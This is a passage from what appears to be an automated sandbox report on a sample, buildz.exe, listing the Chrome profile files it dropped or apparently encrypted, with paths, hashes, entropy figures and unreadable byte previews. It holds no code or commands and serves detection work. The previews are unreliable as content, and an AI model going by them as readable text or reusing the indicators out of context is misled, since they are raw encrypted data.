SHA-256:	E39D9BBFDA5375A996177FD637A14D2553C4C4A0B44F5582D3C2BF61687B05C5
SHA-512:	D7712700EE7B2E9C41981C23ACB28CC62E8665B9F0ACA0A7EBD214514D83EE84B5B421E88401C90EA2A16CE1C5AD06165F36D8C85B8BE4471C3BB0E72CBB23E0
Malicious:	false
Reputation:	unknown
Preview:	{.. AS.I.7....m.....@:.`.G......&.DE..m.LX.b.....d@{:.....n3RW.....KTh..9..k`......2...@...1......e.)..I.....j?.....2z..>..H..1.0....^.o..P....1...].[."=.8.....cV..tw.H.#..K.df,.e...R........Z..%.........E..1J..T....~.mE...c.......P.l..i.9.i.R.....J...3.....g.X\|.;....x..j...z..:..3.y$...c.\..od...........W../.'!j.0c;.S_.....XRV.8.....k.%......0.d..T{K..W.O,...(d)...a...K..Z...\|.%......u.xw.@.../{.bQ....)...K..i.Zp............6..-U.U..JI.Qx...0}.R\.s....._....:...3..]$...Dd>../..7,.H.i..Ke.3n9b..[..t6.%.~.'&......O...11.`..U.&..L.(o:a({.S....W.e0.3Vw.~...:Fx".XtK.....L.........%r...I;.........y8.u.JT4`2..DN..#.wd....RY..S, ....H.....H:.'.m.........R..mq/.t,...$.y.o...%X...lpSx.6N\|...v..m ..]n.T..D....7.r...,l5....<...1).evb.K/......".o.n&R.#..k\|sr.q.LL..[y.z...T.~....LD...+...T.X.!.....>.*n...h6.Q."....Z...sr..g.qx"./..=.a1B#....H^.....4M..RK,SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\ru\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1078
Entropy (8bit):	7.776809617589609
Encrypted:	false
SSDEEP:	24:0G23i0qxy5HXnMWmWx0ZLjHK+WJH8TEUmG1bC9bD:I3nw+MWmWaRqF8EG1bKD
MD5:	845732162D9303C8B2BE3FD0EDC5E0E9
SHA1:	F9DC8803F9CA6726D506EA51B30C7A5AF92CDDAD
SHA-256:	A4DDF62A93061F9B25465110586A01A802A899D59CD0B70B886D6E1D3EE6764F
SHA-512:	3E6C5031467D30CA4C4511E09B0AA85A82595CB0F32788A9941049FC12707E417FA54524200BED026F686028878BC3C85F99BEEF53F050C1FC2436235D789FC2
Malicious:	false
Reputation:	unknown
Preview:	{.. ./'.....n.5....n.M.9`.A.A.....RT.l.1Dj.V...5.`.}...r.Nd(.r..7V..+.....Z..H1.W...>..;.k.k..RM.E.)Z.E..?I.H5oh...g.7..<?U..K.R....=A)...t........E...P.{..8}..5r.D......X.....Bi..X"...u2..t......g.(..7h.J.q.....H1...!....,......D.....0..C..y..L..C..y..r..9.^....qJn..o.L!/AF...>"....Q....^..}3..C..s.?....._Y'..U.x9..;...]?l.O..@;Z..._E.ff.....H.....B../m.Yc.t..\|"..!%.".^:b,.)...f.L6.B..@.sd6..1Ed#....u.M.&._.&.........R`ip>..T5..L.H^..o..P....DFR..]g.].F%....7.....9.I..er.(..Lk..qC.........#6./.L.2...~.xC...[.;E...l.$8.,.\|....g..#.0W.->..!.....+)4,:...w.P..E.o.p.HXQ...J....]}.%.E.......u"V7u-.......&.o.l.......v.+E.$w!...5.E.7%......O'+uG!.[`.....Fug^.oi..3gRl..............]u..Bri.........X.a6UW9J.'ys.P85:+...=.6......q&......EH\fPmE..R...u..G..},&8.'.H..fe.f..v.$J6.w.u.w].H....3.ep.a. ~.....K.....%..d.>Y....y...D.....].#.}<......2;.C..p#0i.X..-c.hb.Y.^.>+....0.k.J...H._n.0.Ou....-o.._./O..R3..b..C......*wq#.G

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\sk\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	981
Entropy (8bit):	7.774430224414453
Encrypted:	false
SSDEEP:	12:20zOl/2DaDd2tX51FDiklJjX1oxT9dg5yUbQwAW41A6QQaPSx7lbhSMGgxeYkjhu:20u/2GsVb/nb3AV2QaPSFRTS9nFSE8bD
MD5:	3D63C5A1A08CE80E1381E50E0F2DF99F
SHA1:	F12D1622B86C823F4A80E0546F5A6E5681275753
SHA-256:	84F5C3773ADC4621BB70505C6834AD1CEF45E11F2BC817A2417A077C442F4CF2
SHA-512:	8F338205D636AAAAF5046D84D296554C45C0703A85E2F617EDD5796EA6910D487C31576DED13B2E2E04E71647338B7066073215B7BE7456DA5431FB8C207CB4F
Malicious:	false
Reputation:	unknown
Preview:	{.. ...v..'..;...{?.......l;.."....2.<..0-.0_..)F.`.Hx................o....W.....u..T.N_...:.<...:\|.].\..TV..lx.."......]..m...6+.:c.%..GK F....s......?...}-a..:P.Ck.p..#.%.?.{w.....WY.....=....@...h.........M{..b.4.<.?.O...4..h...6r..[v.Z\|b..n....;~{..p.'....'..>..u%.T.'.f7.g(.%.H.3.G.T..z.T$2.@^.....^6.'..U.............7....~x...N.E..........gN.v;.....Q..}B.k.oF.X..js.......Up.}.`m.o.<.Tu.....{{u9.....1..^^+...Y5m...~"C.C...u..r.......,...d.....c[C...@...H.b.._Fr=-8.2GR.P.E.J....)Q.....k...G../..xbb+...5 0..=.zB.q!..>......p..(m..T.A.`L.6._....I.........3.8..Sa..........nY..BV...d1.b..y...6.v.8H...)....^..>....B{.2j.@.0&.......@.l.....p...!...n{?/.9#v.)4..f.!....yi..5&....s.......N..h....Q...QX.J.G.G{.>q.7..9.)>.6..+..4..V.....jtJ...........E....=f..."rY..M...V.m.G...r...4n..'6&z../........}.@.dJ*J=`......b.+..aK@f..{....+.O.....q..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\sl\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	951
Entropy (8bit):	7.746253912425356
Encrypted:	false
SSDEEP:	24:dX8jNojFvDvoimIx0383tVgWueeolZ1uVD7XsUlN9YbD:dX8jovLosx03uLuVD7XseNQD
MD5:	B91304CA0E2DF6C8DC69AA481A519191
SHA1:	EFABBD8AFA72AF6DFA4B7C137543EB0B1ADAB8D0
SHA-256:	BADC1B0A9F7A387278D5F4F8003F68E1DC15272368B635A1223B7F645EB0C7CF
SHA-512:	35BA6468099F23856E15B6060388E33B003C1DACC9D0D62B742C483725189DCFB6AFAEF81242746AAC38EBCAE830741B3E390454D0F629794633B5B372EAEEC4
Malicious:	false
Reputation:	unknown
Preview:	{.. .ra.IG.-.6.gG.a.....A.[v".g....t..J..../......\|V.....-.R\.....]...m.XR....qi,....b^..rAp...!.[.7P.5.p.Ot."f..E..I4JN@.^.w..b&....W.._^F.4v..q.qs.../.!.fY.6A..(..l....g$....C>..O...(...da....DL.J....V..dsh.!.B..iR..u9.O.. ..O........t.......oj6.F-i..J...;E.(..R8(I.q.&........y......V.D.)f....Dk6.M...:...z...q.. cX.H-....@.re.+..PC.J..U........3}.+..(!.@.q....N........RL27.p...=T....u......`J]b..D.o..XT7 W....l.5....Be.0.$}........4..Ou.bI6..B.jA........._0......?.n.F69Cf.]...Y....'..Y.........a}....G....X.u..........E.b^.........+.hZ..s....d.xw....B...m..N{p@.b..P..K:r..M..+..57,./.yB..M..N.s.R.(.f.B.y.{mk..J.!........^....."#.@F.P..i.fm}.......w.48,y..a.C.$.8wZb....^2[..C....H7..u..U..:FQ..w.n..N.4aV......7..0.C...p.J..>`-..Y......n_...a.L5..-.$..o&.{.e...=...........n.4e.~.,Ye.2(.D0.B....<O...h=...A.>..........FC.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\sr\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1077
Entropy (8bit):	7.778004852165705
Encrypted:	false
SSDEEP:	24:QeuT0huy3KKTT+wGpIWKq1GwXnW845nvdhVKF/ZQbmhjbD:QZSTjaIXrmm/KF/ebm1D
MD5:	A0F53C0ECA1F26D7E9B5A1441091E921
SHA1:	A4174EC7C61F3EAE2CF501588FF084499C5E3ED4
SHA-256:	3B3487248E7F5E8C3E643E7073B9E7C01F456BDD6E5F06E8613E18B1174B4B30
SHA-512:	11A8DFDFE923AA36DDA21BEF998718447BDD5740E6AC8E40D7A46AA986CC9117C81C6DE6ABCBD9304AE0B7B9636CF6284E85FE1C0DA674E0530EFDFC02C73387
Malicious:	false
Reputation:	unknown
Preview:	{.. ;...4...{.F...`..J..[..@...SSA...9....a.].\..gC.$...[.".By.....e!M0.}.>R.-..`.Z.TY...QO}.IB....U.M..AN..9..+s....v{..L.[=..,nW.m...K.)..."..Y.r......(>.r..4{.G....(!].^.7.x,..@FMU.Sd^....n.(Q...8..(V...../+.S[..p...Z....~Z..$...e....z......N..I..X..[..?......W.....c....5..m...16.. .v....R.38......zRwvW)?y.,........2...M.....{..V%....6$...(....U.KJ....M={...I..&.v.nT%iur...V.S.".1%....8........X.`.p....w...3uc.X.2..c..W.}y..(....L.00KC.........8z.....xg.{.....@...6.\....3.^......\|W.ow...\|...<J..u.m.W.\|.....-W...dn7........fY\.!.Z..,~!....T....?.....vw-..U?...d.zO ...YFg....=.\|.>G58q.$t.,L...cI!]t...h.....m.9.d..o..S.^]...JIqk....>ua:.6..L\.....S.?,5NW.W.<4.6.i.x..._i.].g....H./.bl.xs.p#.f.{<...^q.G2D...E"w!..1[.D......k..L%....J.2J.DwG..D..k(ml..3......u......H..C...h,Y...@E.....J..oAD..B...hF.\|.?.."....XH.>j.{.Y.S\8.[.D:"u.w.;.e'O.d.*4..'.n..K7....R..4.....p.}....e..-...B>.hk.YC...D.q.oD.&l.H.jOE.]../...u."=....I.G'G.S

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\sv\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	964
Entropy (8bit):	7.778147486168832
Encrypted:	false
SSDEEP:	24:n4oxTxOnUBV0OAkwLZQz+QAWeOE1ScpAbD:nRxTgOAVLZVQ4OipaD
MD5:	2E55CF777ED6E834838B57DC8C662FA4
SHA1:	D504AEA54B6822E14AF3300114503F32E10E0805
SHA-256:	9C69F5712C310830CAEF6B765C8B6474F4A9E62B377B19CF2FB765265CB9D940
SHA-512:	830A068A881B2BC60A33A5144D955274DED2A33B6E3E192715BECC935347EE781C2F801C9AD13C0EEBC19D3272DA45912337E570B7549572B69B01F86F98E3F7
Malicious:	false
Reputation:	unknown
Preview:	{.. .@.......2[..V.m.3.h].'.......@.K=[;...4.]......K.U..Z...C..`2.,..0.X...$...k..X...ot....E...V.. ..._.K.(./.....NB.M..p? ....:.C.....9I~M;....#...v.-&8/)._..U8Z.......S.x........J&F..#+h..B.QX.\|..%3J.gw...../.-. 0....U.U.S.M..FgLQ.........#.vy...S..1ntd....f..\.....'Axj....J!.<...q$.a.{...w0..H.....X%q...._M..."..0,.>....u...ZL...0..jB...'l.yp...j.GZ....u;.(.e....D..zm`.P...i........M.... ]2\97.hD......U....;.Z...6.s...M.5]....ep.].z..n.9e..}S.d..bG._...(.........co..S.l...E.G...J..oz.I.o".H.+.......<.VN.JT....;..J.A{.b..,.D.HXa....1t6....Q6.q.9........1.......]D...^'U.e...Z;....aX....F\|.>....."el@.P.......!...\|._9.S...n....=....3.{.w.i....7..r.0..%Z...l.B.E%......_..... ej..2...o.5f.#.,9. x....tV'......a..?....Nm..'q>(....S....'c\|.Ah.;N...........6.Wj.<...nW..zV....*(..[....%Le.L..$n7...(;}.2c.b..Cs.x....P6D..ut+..0.m........TSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\th\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1279
Entropy (8bit):	7.836115254066848
Encrypted:	false
SSDEEP:	24:NJEP1uOd2sNHM+4g/qQGU+RBj5vVLcTBtpTCusbD:NJquw2sNs+4klGxRzvVLctyumD
MD5:	4BBEC96705AAC2D5E54D491B5F83EAF1
SHA1:	3AB2AE7E64B40833453A5D682AC8BB28F456E6AB
SHA-256:	A86A02553A77580B0484A2522592DBB33CD2A874FD05CBAF077F66CFA9326A56
SHA-512:	B4089B084F61447DD3934C1129F44F432A4C5E03D66CFBDFE944BFEE590AF42636D7E0AD4B30F35F2CF631786BBA995AD5E12E3CA41F5F524DF0DA312AC6235E
Malicious:	false
Reputation:	unknown
Preview:	{.. .........:..."!......_g..].!..aB.7....L..xm..z.8....7q..m..F.../U...o8.i...x.....%......-...m5.r.......=nu.L..?yj.3...?.^O....}R#;..Y...L...<....._4.}...D.Zi.a..k....`..oRt}J..8../.R.2].8g..X..~..v."P.....8.x...z)..............PD..}_!..S..~.7R1.W)..:......=O..7..=..10..R!p"..t.=Q..;.Le.otHcL..qT.5e."!A.a....).......+...N.#/.N)...K/.....H..s.Q....7..h.....c<.../......R..T...>B........qt.\t...B\q..z=...`.....Q...n./.\..L. .Y....l..?.,(.x.=~.?.z..z.L.#f.sf.x..6&.....MTw....p...o..1..&..o......N\|.....uq......3.....e...9.u%...(.O7...h)..wn..{.4.f......n.QtZ.......'U...d.L.Q.o..........~R...R...7e.n7x...S....As.....+t5....E.N...}.....g..I...)T.n6..Cr..t.FZX..2....N........"N..{..V*.m.c...5...............5..B.J(_..K.$.&. <.KME$.j....gb.".....w^Ttj.r.R...5Xo.........R+........e&\|5.J.,.Z.Bk.....}.q.YZG..[)-.GK(H....}I.}.R.7".BW..i..Rv{.....c.. ........J...jy......../&N.4.,z..p...e.mC..1T5m..}..#..K...3..c.t.......`.......2O5qW..&...;

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\tr\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	965
Entropy (8bit):	7.782838258574445
Encrypted:	false
SSDEEP:	24:5J8dTs6q7qsHTXVNEcLOYCodXzqxclnXjz/5RsLi1k8EDWo0pBO4y7EsbD:5GIpLTHMUz/5RurWDpsnwmD
MD5:	C065C03719DE7A976FEACCA77FE532A7
SHA1:	CCC141330C426058BAF1AE645A4C7C5060A8B018
SHA-256:	9EFF78719D3B4C72C1E7A1B5F2D2C65D49B55DBD733E05760456B9FB4A2A5F9A
SHA-512:	02DD08B51FD84CA77BE709DFDD1CE4B6BF15997215533C9E55806CDA2E3AE1A76BB0B007A8B8BC32FA8475F397B3087AC17856E4940B326A39E0CF60E327B5EA
Malicious:	false
Reputation:	unknown
Preview:	{.. } V@......ud......9...6s;.$M...Q.tJv..z....NI}.{.4%.#...,.tfw.....}.X.5.4X........R.Hs.N..O.R...../..f.of..A...........P..l......\..yU.....x....9../o4.t+..(G.>.1.5..b.h....1.#.z...e.7O....$x..0..]..S.9.4Q;...j.?.B.).!8.'.`....H-.....}N$.v...W-...lmAJs.......x.i`:.+./a.T..f...VO.Y7..E.5..D...I.....sB...O.W.=5}l..}..d....HS....U..RT..9......+H:.8.C.p......?+.._kM-.... f.i.&>.Q....\|m3.<^..R.O.RE.IY..vA5.d.JT..Q..m...S.....5.i....u1;}.?....2d.5..@...r..Z..tdH..Mo.....-.(c.~$....n.F.2.......y.j6{..V..%..;t...s.!E...HN..P....J.BL...i&];.[.z.<iv.ym[3.Sy.e..[..{..c.y.t..A....w.S........b.....%..L....[ej..E...i:l.i.t./.;...=z...tDL..@.D....Z........h..{3.l.[...~.OF75....2[%.xL..f.S2..fYa.V.}.<.h..C..vQ...ji.0...i..6........ y..u.\.).......s...#SW.M.-;..?K....B........5..i.'.u......;...2.,..R.r.....d...&..l.."....\|..B...-=.fG..T.s1Gp.p.....k.M.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\uk\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1054
Entropy (8bit):	7.820456485282864
Encrypted:	false
SSDEEP:	24:Vo4y7WNBGdjSGCilquZCEmEJsGxp1gNqhaSIW8DbD:FKWTGdWdiwvEmWsGx/gNqhaSIlXD
MD5:	83006CA39EAD71B6BEE2D47362298CC4
SHA1:	929426BA35E17C808F1A89A06F2906FF1CE2668C
SHA-256:	F2BD995647E58BB45C23863B982F4D0FDD49CB82946FF1B071B9E50068196FA9
SHA-512:	2FAE5E57D00F7C61CFD9A8A5B956672F2DA0B1E5DE8C42A58D657D422999FE1E4FAA3B6C23CE2A9AEB641FDC33861B5FC7D841098AE3A58119555104FA345ABA
Malicious:	false
Reputation:	unknown
Preview:	{.. kb..L.L..}e.gF.......(.z.W......i..".=....[.f...4CG.8.Z.rit.xY...._}5.T!...F.._......z.i...Cr'r.M<....bCY..}...U.......b4....g.HBj........=...o..5wP.-...s..:B..S3.1.V#si...!..NM1..L.iQ.\.+g?X....z.......}..`./....Tl0........&'....$V!..t.......>O.3....z.dbrI:..6.a.......\|...G..7....[....c..?.O.D.Z.......x.....Za.x..3.^.\zw[]..~s...>T.72UZ..tv.C......Z@.B"~h...`........5'.J..0......$...C..mi..[(..L.'...=...L...`5..J.e...E.nN.v...........V..z..$.i..i......q.eG........W.:E.)u..(.\|).$..\|.9..4uW...r....t..Rf`[.6.[.u`u.._....{.M-.....I...}f..?.d..&R...m.....p../...:.3UCS.C.Y...,..........i..u....... ...yq..M........X.^.8..^.....M..j.k..0.E.....%.....m..^.Z.....0.s&t..6.>.b..1../.J. ........mZ../$..<c.a.\|s.N...1R......z3#e29.....7.!Z..$....~.s.A.GK...S.5Nmho&}.3..Pk....RA^.[{..Z....iM.t.]..@...AUxx....... J....U.........Jk....!.J.!..-..;,.FR..=.c.I..G*.y..O.I..c./Z....\|bV../.......C(U...Dq..m...D.........q}.SLibyJ8nZP43K8X6Ycor9Ixv

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\vi\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1029
Entropy (8bit):	7.790846861007719
Encrypted:	false
SSDEEP:	24:bR+wm4969MbPvl3CnCgEBmfBpnMwjzpvVIjnoVoZ5RY3FYbD:9B7blSCopX3vuMUqCD
MD5:	7CDE4165B5C2EB747C447181C830319D
SHA1:	B2CB233EBAB32210A115F9A3753CD0DBC2AEC639
SHA-256:	B856DE5ABF6505A4C4E13748AFC9346531273230FC177087D4D0A2C4146F56E9
SHA-512:	793D61FB2B8728EE0D0AB7EA9935A7BAF2F902995610C79B8B17E63A7179D68B53B45E70EE22471D1F9EB6576D05F4D4CB3DF4EB76ED55B4854791E8AE15970D
Malicious:	false
Reputation:	unknown
Preview:	{.. ..D,.Z......^]..To/"..I..m.W..8.8..-f.A....:m-Q&u.+....B.L0%..m,R}__%Q.../.z`i.<......O5"_<...;?4..b.]._.B@..n...'=....f.-...v.}.N.....l......B...M3..^..W.@.-.1u.v...X8.."......J.8d#.T........;..tn.&.g[.=&...tp.N;..t$.....p..."-..`.k}.`.0..aJ...-...2.. ...Ogx..?n...D....ir.J.P.}..!.j3..1gQ..=L...g........k...=T..~(B..HMq..V.Yz.V...5.....\[.X.....J.c~.?..r\|Ap.y...N.J...5B.....O>~..t)_(..;.Nc....w.......P.....-.7...M3.?..-:...%.:..d."..<.J..ga.B...5.vs.c..%w.m.....].p.+.8..6...;....-..Z....4...q.`bW.D. O.....%B..w..h.K..<Y..t....Z....}..k.)$+..2..]..C.F....6BH9........%.....n._6......t...-.P.......KH..E...t.%.Q....o.V.Q#.1..L.$;?/r...(<9.PD+....,..A.J....%Z..}.;.>,.v.I.....S...\.B._l0DD.....k'.........\|..+..$..........fdaf.....h43. G.....f.Z.b..oq\|_^-Y..4.......[.._...~........G@.....I4..~.~p...,..M.7.."..T...\....B...^..g...A]..&.r.1..1#......n....l.....P...R.`.`...X.....y......T$SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\zh_CN\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	929
Entropy (8bit):	7.793224389309258
Encrypted:	false
SSDEEP:	24:x44DSkVKwVedb4tzug+shCCj7J7PdDlRSsTGjr63lHPchbD:n3edEtzt/jxRlRSsTG/63JkxD
MD5:	7ED0C1113641360C78E6FB892888936F
SHA1:	9E56E7BF7300663E12834D950C33897EC0B5EA52
SHA-256:	4C78512B4B75BC6A5CAB30ED0B2CFC587249BF5A9743CDDFD9E37C617AAB4C30
SHA-512:	B06EE3E6F4809579ADB967662A4B7E8E033A931C0C48739B3514290200B0434CF085FA36B5E10CDECAD3AE7DF022D76391AD43A46E9FFD2914462CAADB70BEBF
Malicious:	false
Reputation:	unknown
Preview:	{.. ~..\|..3; 0..Dt...y...Q.%\|M.....m...n.P......_.dj..J.B.c.....[(k.D1...KR.0.k$.Q. ..s.8.'.....Dpj.#..m.buP.5.v..{....x....._N..5T......k..W.-.t._N_...1l#W..u..E"#.qX?.x.a ...nD..\.p]#$U7...ZF............%.AS..x.(.. [..O........;.o.=..........(.e.MR<...=M....\|..#..I)....H..........a......].N.....S..y.'.s]2...kC{.....0C{..Y.s. ......";L....N.Z4>...e....51.y..Q..6./.2.x_q_.....r.Y..+u"..7!I..\........Z......D...w....?...7.......=+.YZ,.U.x!...1.NVx..[KU.Z...F........'.. .3.A.(S.1.l...bnLf.iW ....'..g....:.z..E_..}..br....=...Z.U.-m4.d.t...7.."....)..G.+......4. Z.......P.>q........&..<...\|..\........<.Q..........I(%M......\|..Y[k...c....\|.I.2..zWD$..d4.G.?6...C!j.C,:...w~.._+.....M..iv......S..G@...5....CJ...k.M./.....@.]^...........j..(.......q..".M Q%tY...6..y....Vk.VK.g..}$..>..Ec.C...S\.....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\zh_TW\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	7.7641484472773055
Encrypted:	false
SSDEEP:	24:YnWACOSCLu1+ws7XsStez49IBCRssLCtJDbD:LATuQ78StjGBEmXD
MD5:	15A326DBB844C12BE8CFFE2193DC19B0
SHA1:	AA479DC7B9F6D591A49EDAC6A87F3BF6295839EB
SHA-256:	25A97D5DE9A5EFC61E38214540896166AB00BF26139C496ABE1ECCD5907E0168
SHA-512:	E873A5EBB32C817F3E4A196955DC154F83D0B8011D4902DBF2D981AC4E42F6042146B14DDEC5700F40E9D21D4ABB59FE10BB925BD042637D6CFE3142C9FC2E5E
Malicious:	false
Reputation:	unknown
Preview:	{.. +......g.Q."....g..us~.d..$...o0{(z`p.....V..k...xX..Nq..-L....m{(.O9a..y.u..5.% ... &Gf\z.!$...J.5v.().Gk.K/..{P..@+^..{U./.......?d3.....?(..p.&6..... ?.}.h3..l(......`.Y...C..._...e.w..gv\.P`1..6.......-.X.X.h..\|...`+.2g.....j!.t.n...@.,!x..&9U.......0..L.PN....W..?x- .J..c.)..E.Lr..P.s.'g...0.W.....^j..[.v}.M}....#.......Y..G.[x......P...p.T.`.Tq.o.O(R.X.p_...m4...4.d.S~..S...8...H.d.7....C...s.T..p7...2`[.X.m..t.Z...58..G.b/.hk_..7M.C....P8.&.....`.....@.C.."wa@...?....kV#w_....S.i..S.Om..<.....\....+....%.Sb.....553.k...e.<?..NzNwD8-....F[.z.".-.6.EN..K.:.<p./...ao.vy.0hu.\|.V....N`..Em.~.&....0w$.d..zu....g....z...'g(.-........Lr.%...T1..[......\.....boF.Ox5b.@lN(.P...oRQ6..^.:....R..!F...o....F.9XF....o..d......;W;9.K.....=..#X...g\|.4<..._`..?.Sm_...^.B.. ]8..y@......3r.*7g.E...m(.:i.<.I..9.e8./...H$G8....59..=...o{..\|`5<SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Google Profile.ico

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	198128
Entropy (8bit):	7.998655904315368
Encrypted:	true
SSDEEP:	6144:Pum/KGGxsDM6bvzNGccbfAsRvBoVCvoZhhl+Nd:POGGxzUsbfAsRZ8l+P
MD5:	E6805020FFDEB2928F44A517E93E0532
SHA1:	1B72D941E2F37EF3565E1363DC1C41AB857A6EE6
SHA-256:	8BC92B2852FA2312C12812DB2837352997F5D441FC4B8497590229E5CA5F2BC3
SHA-512:	5A38A00E153FF6E870FC960334B424FC485CF8ADD1D9B1B3E3AFFAD68C9BA8E20409F178BB987DBFD241577A916F1D06EADCD7B0B390D7FE79865F13DED89EE2
Malicious:	true
Reputation:	unknown
Preview:	......5..3/..b,F..@W..IR.......N.B..F+..Z....?.....?W..7...?J=y..?rl<:~3..m6..x.4T.(."..G..Y.$k....V...R.x.O5......;..S..x.n.F.:..CfXL.F.?[..,..#.3.X.a%9....l'..;..<.4....t..9.[.4...V.`#.D.\|@......,.9...R..............]/.&..Cs10.....X8..T.k.n.(8Qg.6.D..s.Y.......w\:..[.._..I1e1...@..#../.F..T.L].EY.Q.+....h...\...Q.N..[/o....'..x.._..k.X<J.Jy...0...8.....WQ.....<......./<.2...T"Q..o.3......MAv.@.(..r.. a]a../aH."yq..!..._r.{.... ..\|f.v."~.._..I'.Z....NH.9....7.....!z.d.....CU.......V.~.P2Y67.5.P/V.4N..a.)]....1..&....V...>.sM..ST..O.#..).x..j:.k..`.x...../.......O.bw)...,"......B..m..x.Z*....c...[.)...#...R5.....fm.s...l!.....1..vh....{FI2.t....W-P..6..KK...........Y.!.e......)],..8..N.6.....\|....z.-]x....1.,.O.z..vf.B.......B:;.....7...z.>.Qmx.y{..P..^7.?.Y..M8QT..Z...c.......79.D..E.Z..6.XbM7"&...j).<c.qJT..{...Su`.Nx..I..ocu@..+Zp......1......C.......@.....@....A.e...9..c..g.gI^...&]u.4O.;W.0..9..jK$h.........b....n.l...4?L...

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Session Storage\000003.log

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	395
Entropy (8bit):	7.391054296490356
Encrypted:	false
SSDEEP:	12:S0/C+qcI4MG2cAbf9lYR98US4r6fxVSSFpYssP0DOgR1+cii9a:L/Cz4MG2c0f9la0xVSKpYsSxTbD
MD5:	D194E51EE25D05FCF0627D7476FC55FC
SHA1:	E41A8EABD0BF87E372A5EB0F6FC3EFB9A4686906
SHA-256:	71A75FD7DF4C8B5B59F6FFF3F7CC05A183E96930FD1DECE038FC8A3FE119959B
SHA-512:	EEB5344D1104EAC2A1E65F0A5A251090DF722BB31398A17D1D5F673762640606081C134CBCAA540F04956922FE2CD8079E1DD6C2BDA8A8405B35162BA3EA12CB
Malicious:	false
Reputation:	unknown
Preview:	...#2 :buFB..7...j..zj...(p.DJ...........1..V..A5.M.?y..ob.^.L.W.`..'..m......,.U8!._.Ie...).>./}.m5..!$..../6.}KF....pW4.....b].......ND..>.....es......pou.l:..p........c.E.LU..emI.:....wOzP............/rZ.ec.B[.F-.I..`n..X...:v.....v.l0_.qF.x.T.\....g,...].(..].....,.m.0.A.+.R.#q.9.($.H.[?.....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\heavy_ad_intervention_opt_out.db

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.988900117092403
Encrypted:	false
SSDEEP:	384:qUEPjTw4QS7HGgVIbJ0mujPdSbBEpTvgGLV:qUWVqmqOoFEpTvgGLV
MD5:	64A19577E10BCD38B147EF46DF26E253
SHA1:	050575828F53CEB34C690569EF4087C751895068
